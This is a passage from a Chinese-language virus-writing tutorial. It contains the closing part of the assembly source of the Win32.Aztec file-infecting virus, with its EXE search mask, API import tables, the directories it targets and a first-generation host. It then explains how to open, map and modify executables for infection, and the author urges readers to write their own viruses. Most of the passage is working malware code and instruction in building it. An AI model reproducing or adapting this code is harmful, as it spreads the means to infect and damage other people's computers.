 ; ?lpDistanceToMoveHigh: 指向64位距離的高位字。如果這個引數的值是NULL,SetFilePointer
 ;   只能操作最大為2^32 - 2的檔案。如果這個引數被指定了,最大檔案大小是2^64 - 2。
 ;   這個引數還獲取新檔案指標的高位值。
 ;                                                                          
 ; ?dwMoveMethod: 指示檔案指標移動的開始的地方。這個引數可以是下面的一個值
 ;                                                                          
 ;        值          方式                                             
 ;                                                                          
 ;   + FILE_BEGIN   - 開始點是0或檔案開始。如果指定了FILE_BEGIN,DistanceToMove
 ;                    被理解為新檔案指標的位置。
 ;   + FILE_CURRENT - 當前檔案指標的值是開始點。
 ;   + FILE_END     - 當前檔案尾是開始點。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果SetFilePointer函式呼叫成功,返回值是雙字新檔案指標的低位值,而且如果
 ;   lpDistanceToMoveHigh不是NULL,這個函式把新檔案指標的雙字的高位賦給由那個參
 ;   數指向的長整型。
 ; ?如果函式呼叫失敗而且lpDistanceToMoveHigh是NULL,返回值是0xFFFFFFFF。想要
 ;   獲得詳細的錯誤資訊,呼叫GetLastError函式。
 ; ?如果函式失敗,而且lpDistanceToMoveHigh是非-NULL的,返回值是0xFFFFFFFF,而且
 ;   GetLastError將返回一個值而不NO_ERROR。
 ;                                                                          
 ; ---                                                                      
 ;                                                                          
 ; SetEndOfFile 函式把指定檔案的end-of-file (EOF)位置移到檔案指標的當前位置。
 ;                                                                          
 ; BOOL SetEndOfFile(                                                       
 ;   HANDLE hFile        // 要設定EOF的檔案的控制程式碼
 ;  );                                                                      
 ;                                                                          
 ; 引數
 ; ====
 ;                                                                          
 ; ?hFile: 指示要移動EOF位置的檔案。這個控制程式碼必須是以GENERIC_WRITE訪問檔案方式
 ;   建立的。
 ;                                                                          
 ; 返回   
 ; ====
 ;                                                                          
 ; ?如果函式呼叫成功,返回值是非0值
 ; ?如果函式呼叫失敗,返回值是0。想要知道詳細的錯誤資訊,呼叫GetLastError函式。
 ;                                                                          ;
 ;---------------------------------------------------------------------------

 ; 輸入:
 ;      ESI - 指向要開啟的檔案的名字
 ; 輸出:
 ;      EAX - 如果成功是檔案的控制程式碼。

OpenFile        proc
        xor     eax,eax
        push    eax
        push    eax
        push    00000003h
        push    eax
        inc     eax
        push    eax
        push    80000000h or 40000000h
        push    esi
        call    [ebp+_CreateFileA]
        ret
OpenFile        endp

 ;---------------------------------------------------------------------------
 ; CreateFile 函式建立或開啟下面的物件,並返回一個可以訪問這個物件的控制程式碼:
 ;                                                                          
 ;      + 檔案 (我們只對這個感興趣)                        
 ;      + pipes                                                             
 ;      + mailslots                                                         
 ;      + communications resources                                          
 ;      + disk devices (Windows NT only)                                    
 ;      + consoles                                                          
 ;      + directories (open only)                                           
 ;                                                                          
 ; HANDLE CreateFile(                                                       
 ;   LPCTSTR lpFileName, //  指向檔案的名字
 ;   DWORD dwDesiredAccess,      // 訪問 (讀-寫) 模式
 ;   DWORD dwShareMode,  // 共享模式
 ;   LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全屬性
 ;   DWORD dwCreationDistribution,       // 怎麼建立
 ;   DWORD dwFlagsAndAttributes, // 檔案屬性
 ;   HANDLE hTemplateFile        // 要複製的屬性的檔案的控制程式碼
 ;  );                                                                      
 ;                                                                          
 ; 引數
 ; ====
 ;                                                                          
 ; ?lpFileName: 指向一個以NULL結尾的字串,這個字串指定要建立或開啟的物件(檔案,
 ;    管道, 郵槽, 通訊資源, 磁碟裝置, 控制檯, 或目錄)的名字。
 ;    如果*lpFileName 是一個路徑,就有一個預設的路徑字元個數的MAX_PATH個數限制,
 ;    這個限制和CreateFile函式怎麼解析路徑有關。
 ;                                                                         
 ; ?dwDesiredAccess: 指訪問的物件的型別。一個應用程式可以獲得讀訪問,寫訪問,讀-寫
 ;   訪問,或者裝置查詢訪問。
 ;                                                                          
 ; ?dwShareMode: 設定一些標誌來指定物件是怎麼共享的。如果dwShareMode是0,這個物件
 ;   就不能關係。隨後的對這個物件的開啟操作也會失敗,直到控制程式碼被關閉。
 ;                                                                       
 ; ?lpSecurityAttributes: 指向一個 SECURITY_ATTRIBUTES 結構,來確定返回的控制程式碼是
 ;   否能從子程式繼承。如果lpSecurityAttributes是NULL,控制程式碼就不能繼承。
 ;                                                                          
 ; ?dwCreationDistribution: 指對檔案採取已知的什麼行動,和未知的行動。
 ;                                                                          
 ; ?dwFlagsAndAttributes: 指檔案的屬性和標誌。
 ;                                                                          
 ; ?hTemplateFile:指用GENERIC_READaccess 訪問一個模板檔案的控制程式碼。這個模板檔案在
 ;   檔案建立的時候提供檔案屬性和擴充套件的屬性。Windows 95:這個值必須為NULL。如果你
 ;   在Windows 95下提供一個控制程式碼,這個呼叫會失敗而且GetLastError返回
 ;   ERROR_NOT_SUPPORTED。
 ;                                                                          
 ; 返回值    
 ; ======
 ;                                                                          
 ; ?如果函式成功了,返回值是一個開啟的指定檔案的控制程式碼。如果指定的檔案在函式呼叫前存
 ;   在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的時候,一個呼叫
 ;   GetLastError 函式會返回 ERROR_ALREADY_EXISTS(甚至函式成功了)。如果檔案在 
 ;   呼叫之前不存在,GetLastError將返回0。
 ; ?如果函式失敗了,返回值是INVALID_HANDLE_VALUE。為了獲取資訊的錯誤資訊,呼叫GetLastError。
 ;---------------------------------------------------------------------------

 ; 輸入:
 ;      ECX - 對映大小
 ; 輸出:
 ;      EAX - 如果成功為對映控制程式碼

CreateMap       proc
        xor     eax,eax
        push    eax
        push    ecx
        push    eax
        push    00000004h
        push    eax
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_CreateFileMappingA]
        ret
CreateMap       endp

 ;---------------------------------------------------------------------------
 ; CreateFileMapping 函式為指定檔案建立一個命名的或未命名的檔案對映物件。
 ;                                                                          
 ; HANDLE CreateFileMapping(                                                
 ;   HANDLE hFile,       // 要對映的檔案的控制程式碼
 ;   LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可選安全屬性
 ;   DWORD flProtect,    // 為對映物件保護
 ;   DWORD dwMaximumSizeHigh,    // 32位物件大小的高位
 ;   DWORD dwMaximumSizeLow,     // 32位物件大小的低位
 ;   LPCTSTR lpName      // 檔案對映物件的名字
 ;  ); 
 ;
 ; 引數
 ; ====           
 ;                                                                          ;
 ; ?hFile: 指從哪個檔案建立對映物件。這個檔案必須以和由flProtect引數指定的包含標
 ;   志相相容的訪問模式開啟。建議,雖然不是必須,你打算對映的檔案應該以獨佔方式打
 ;   開。
 ;   如果hFile 是 (HANDLE)0xFFFFFFFF,呼叫程式還必須在dwMaximumSizeHigh和
 ;   dwMaximumSizeLow引數中指定對映物件的大小。這個函式是透過作業系統的頁檔案
 ;   而不是檔案系統中的命名檔案來建立一個指定大小的檔案對映物件的。檔案對映物件
 ;   可透過複製,繼承或命名來共享。
 ;                                                                          
 ; ?lpFileMappingAttributes: 指向一個SECURITY_ATTRIBUTES 結構,決定返回的控制程式碼是
 ;   否可以被子程式繼承。如果lpFileMappingAttributes 是NULL,控制程式碼就不能被繼承。
 ;                                                                          
 ; ?flProtect: 指定當檔案被對映的時候檔案需要的保護。
 ;                                                                          
 ; ?dwMaximumSizeHigh: 指定檔案對映物件的32位最大大小的高位。
 ;                                                                          
 ; ?dwMaximumSizeLow: 指定檔案對映物件的32位最大大小的低位。如果這個引數和
 ;   dwMaximumSizeHig為0,那麼檔案對映物件的最大大小等於有hFile確定的檔案的
 ;   當前大小。
 ;                                                                          
 ; ?lpName: 指向一個NULL結尾的字串來指定對映物件的名字。這個名字可以包含除了反
 ;   斜線符號(\)之外的所有字元。
 ;   如果這個引數和已經存在的命名了的對映物件的名字相同,這個函式請求透過由flProtect
 ;   指定的保護來訪問對映物件。
 ;   如果引數是NULL,對映物件就不透過命名建立。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果函式成功,返回值是一個檔案對映物件的控制程式碼。如果在呼叫這個函式之前物件已經
 ;   存在了,GetLastError 函式將返回 ERROR_ALREADY_EXISTS,而且返回值是一個已
 ;   經存在的檔案對映物件(由當前的大小,而不是新的指定大小)的合法控制程式碼。如果對映
 ;   物件不存在,GetLastError返回0。
 ; ?如果函式失敗,返回值是NULL。想要知道詳細的錯誤資訊,呼叫GetLastError函式。
 ;---------------------------------------------------------------------------

 ; input:
 ;      ECX - Size to map
 ; output:
 ;      EAX - MapAddress if succesful

MapFile         proc
        xor     eax,eax
        push    ecx
        push    eax
        push    eax
        push    00000002h
        push    dword ptr [ebp+MapHandle]
        call    [ebp+_MapViewOfFile]
        ret
MapFile         endp

 ;---------------------------------------------------------------------------
 ; MapViewOfFile函式對映一個檔案檢視到呼叫程式的地址空間中去。
 ;                                                                         
 ; LPVOID MapViewOfFile(                                                    
 ;   HANDLE hFileMappingObject,  // 要對映的檔案對映物件             
 ;   DWORD dwDesiredAccess,      // 訪問模式                             
 ;   DWORD dwFileOffsetHigh,     // 32位檔案偏移地址的高位      
 ;   DWORD dwFileOffsetLow,      // 32位檔案偏移地址的低位       
 ;   DWORD dwNumberOfBytesToMap  // 要對映的位元組數                  
 ;  );                                                                      
 ;                                                                          
 ;                                                                          
 ; 引數  
 ; ====
 ;                                                                          
 ; ?hFileMappingObject: 指定一個開啟的檔案對映物件的控制程式碼。CreateFileMapping 和 
 ;   OpenFileMapping函式返回這個控制程式碼。 
 ;                                                                          
 ; ?dwDesiredAccess: 指訪問檔案檢視的型別,而且因此頁的保護由這個檔案對映。
 ;                                                                          
 ; ?dwFileOffsetHigh: 指對映開始的偏移地址的高32位。
 ;                                                                          
 ; ?dwFileOffsetLow: 指對映開始的偏移地址的低32位。
 ;                                                                          
 ; ?dwNumberOfBytesToMap: 指檔案對映的位元組數。如果dwNumberOfBytesToMap是0,那麼
 ;   整個檔案將被對映。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果函式呼叫成功,返回值是對映檢視開始的地址。
 ; ?如果函式呼叫失敗,返回值是NULL。想要知道詳細的錯誤資訊,呼叫GetLastError。
 ;---------------------------------------------------------------------------

mark_   db      "[Win32.Aztec v1.01]",0
        db      "(c) 1999 Billy Belcebu/iKX",0

EXE_MASK        db      "*.EXE",0

infections      dd      00000000h
kernel          dd      kernel_

@@Namez                 label   byte

@FindFirstFileA         db      "FindFirstFileA",0
@FindNextFileA          db      "FindNextFileA",0
@FindClose              db      "FindClose",0
@CreateFileA            db      "CreateFileA",0
@SetFilePointer         db      "SetFilePointer",0
@SetFileAttributesA     db      "SetFileAttributesA",0
@CloseHandle            db      "CloseHandle",0
@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA    db      "GetSystemDirectoryA",0
@CreateFileMappingA     db      "CreateFileMappingA",0
@MapViewOfFile          db      "MapViewOfFile",0
@UnmapViewOfFile        db      "UnmapViewOfFile",0
@SetEndOfFile           db      "SetEndOfFile",0
                        db      0BBh

                        align   dword
virus_end               label   byte

heap_start              label   byte

                        dd      00000000h

NewSize                 dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h

MAX_PATH                equ     260

FILETIME                STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME                ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories             label   byte

WindowsDir              db      7Fh dup (00h)
SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf

heap_end                label   byte

 ;---------------------------------------------------------------------------
 ; 上面所有的都是病毒要使用的資料;)
 ;---------------------------------------------------------------------------

; First generation host

fakehost:
        pop     dword ptr fs:[0]                ; 清除堆疊
        add     esp,4
        popad
        popfd

        xor     eax,eax                         ; 用第一次生成的無聊的資訊顯示MessageBox 
        push    eax                             
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    MessageBoxA

        push    00h                             ; 終止第一次生成
        call    ExitProcess

end     aztec
;------到這兒為止剪下-------------------------------------------------------

     好了,我認為關於這個病毒我已經解釋得夠清楚了。它只是一個簡單的直接行為(執行期)病毒,能夠在所有的Win32平臺上工作,而且在當前目錄,windows目錄和系統目錄上感染5個檔案。它沒有任何隱藏自己的機制(因為它是一個示例病毒),而且我想它能夠被所有的反病毒軟體檢測到。所以它不值得改變字串並聲稱是它的作者。你應該自己做。因為我知道病毒的一些部分還不夠清晰(如那些呼叫API函式,如完成一個任務用的值),下面就簡要地列舉出怎麼呼叫一些API來做具體地事情。

-> 怎麼開啟一個檔案進行讀寫?

我們用來做這個的API是CreateFileA。建議引數如下:

        push    00h                             ; hTemplateFile
        push    00h                             ; dwFlagsAndAttributes
        push    03h                             ; dwCreationDistribution
        push    00h                             ; lpSecurityAttributes
        push    01h                             ; dwShareMode
        push    80000000h or 40000000h          ; dwDesiredAccess
        push    offset filename                 ; lpFileName
        call    CreateFileA

 + hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 應該為0。

 + dwCreationDistribution, 有一些有趣的值。 它可以為:

 CREATE_NEW        = 01h 
 CREATE_ALWAYS     = 02h
 OPEN_EXISTING     = 03h
 OPEN_ALWAYS       = 04h
 TRUNCATE_EXISTING = 05h

    當我們想要開啟一個已經存在的檔案的時候,我們使用OPEN_EXISTING,即03h。如果我們因為病毒的需要而要開啟一個模板檔案,我們在這裡將要使用另外一個值,如CREATE_ALWAYS。

+ dwShareMode 應該為 01h, 總之,我們可以從下面的值中選擇:

 FILE_SHARE_READ   = 01h
 FILE_SHARE_WRITE  = 02h

所有文我們讓其它人讀我們開啟的檔案,但是不能寫!

 + dwDesiredAccess 處理訪問檔案的選擇。 我們使用 C0000000h,因為它是GENERIC_READ 和 GENERIC_WRITE的和,那就意味著我們兩個訪問方式都要:)下面你得到:

 GENERIC_READ      = 80000000h
 GENERIC_WRITE     = 40000000h

** 如果有一個失敗,這個呼叫CreateProcess將會返回給我們0xFFFFFFFF;如果沒有任何失敗,它將返回給我們開啟檔案的控制程式碼,所以,我們將它儲存到相關變數中。要關閉那個控制程式碼(需要的時候)使用CloseHandle這個API函式。

 -> 怎樣建立一個開啟檔案的對映?

    要用到的API是CreateFileMappingA。建議的引數為:    

        push    00h                             ; lpName
        push    size_to_map                     ; dwMaximumSizeLow
        push    00h                             ; dwMaximumSizeHigh
        push    04h                             ; flProtect
        push    00h                             ; lpFileMappingAttributes
        push    file_handle                     ; hFile
        call    CreateFileMappingA

 + lpName 和 lpFileMappingAttributes 建議為 0。
 + dwMaximumSizeHigh 應該為 0 除非當 dwMaximumSizeLow < 0xFFFFFFFF
 + dwMaximumSizeLow 是我們想要對映的大小
 + flProtect 可以為如下的值:

 PAGE_NOACCESS     = 00000001h
 PAGE_READONLY     = 00000002h
 PAGE_READWRITE    = 00000004h
 PAGE_WRITECOPY    = 00000008h
 PAGE_EXECUTE      = 00000010h
 PAGE_EXECUTE_READ = 00000020h
 PAGE_EXECUTE_READWRITE = 00000040h
 PAGE_EXECUTE_WRITECOPY = 00000080h
 PAGE_GUARD        = 00000100h
 PAGE_NOCACHE      = 00000200h

    我建議你使用PAGE_READWRITE,那個在對映時讀或寫不出現問題。

 + hFile 是我們想要對映的先前開啟的控制程式碼。

 ** 如果失敗了,呼叫這個API函式會返回給我們一個NULL值;否則將會返回給我們對映控制程式碼。我們將把它儲存到一個變數中以備後用。要關閉一個對映控制程式碼,要呼叫的API應該為CloseHandle。

 -> 怎麼能對映檔案?

    應該用MapViewOfFile這個API函式,它的建議引數如下:

        push    size_to_map                     ; dwNumberOfBytesToMap
        push    00h                             ; dwFileOffsetLow
        push    00h                             ; dwFileOffsetHigh
        push    02h                             ; dwDesiredAccess
        push    map_handle                      ; hFileMappingObject
        call    MapViewOfFile

 + dwFileOffsetLow 和 dwFileOffsetHigh 應該為 0
 + dwNumberOfBytesToMap 是我們想要對映的檔案的位元組數
 + dwDesiredAccess 可以為如下值:

 FILE_MAP_COPY     = 00000001h
 FILE_MAP_WRITE    = 00000002h
 FILE_MAP_READ     = 00000004h

 我建議 FILE_MAP_WRITE。

 + hFileMappingObject  應該為對映控制程式碼( Mapping  Handle ), 由先前呼叫的CreateFileMappingA函式返回。

 ** 如果失敗,這個 API  將會返回給我們NULL, 否則它將返回給我們對映地址(Mapping Address)。所以,從那個對映地址,你可以訪問對映空間的任何地方,並進行你想要的修改:)為了關閉那個對映地址,應該用UnmapViewOfFile這個API。

 -> 怎麼關閉檔案控制程式碼和對映控制程式碼?

    OK,我們必須使用CloseHandle這個API。

        push    handle_to_close                 ; hObject
        call    CloseHandle

 ** 如果關閉成功, 它返回 1。

 -> 怎麼關閉對映地址?

    你應該使用UnmapViewOfFile。

        push    mapping_address                 ; lpBaseAddress
        call    UnmapViewOfFile

 ** 如果關閉成功,它返回1。

相關文章